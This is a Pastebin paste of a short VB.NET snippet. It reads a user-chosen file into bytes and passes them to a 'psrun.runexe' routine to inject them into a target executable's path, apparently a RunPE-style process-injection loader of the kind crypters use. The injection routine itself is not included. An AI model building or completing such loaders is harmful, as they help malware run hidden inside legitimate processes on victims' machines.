Guest User

Untitled

a guest
Nov 20th, 2018
85
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 0.46 KB | None | 0 0
  1. Dim TheByte As String
  2. FileOpen(1, TextBox1.Text, OpenMode.Binary, OpenAccess.Read, OpenShare.Default)
  3. TheByte = Space(LOF(1))
  4. FileGet(1, TheByte)
  5. FileClose(1)
  6.  
  7. Dim byte_to_inject As Byte() = System.Text.Encoding.GetEncoding(1252).GetBytes(TheByte)
  8. Dim path_where_inject_to As String = TextBox2.Text ' get the path where we want to inject the byte array
  9.  
  10. psrun.runexe(byte_to_inject, path_where_inject_to)
Add Comment
Please, Sign In to add comment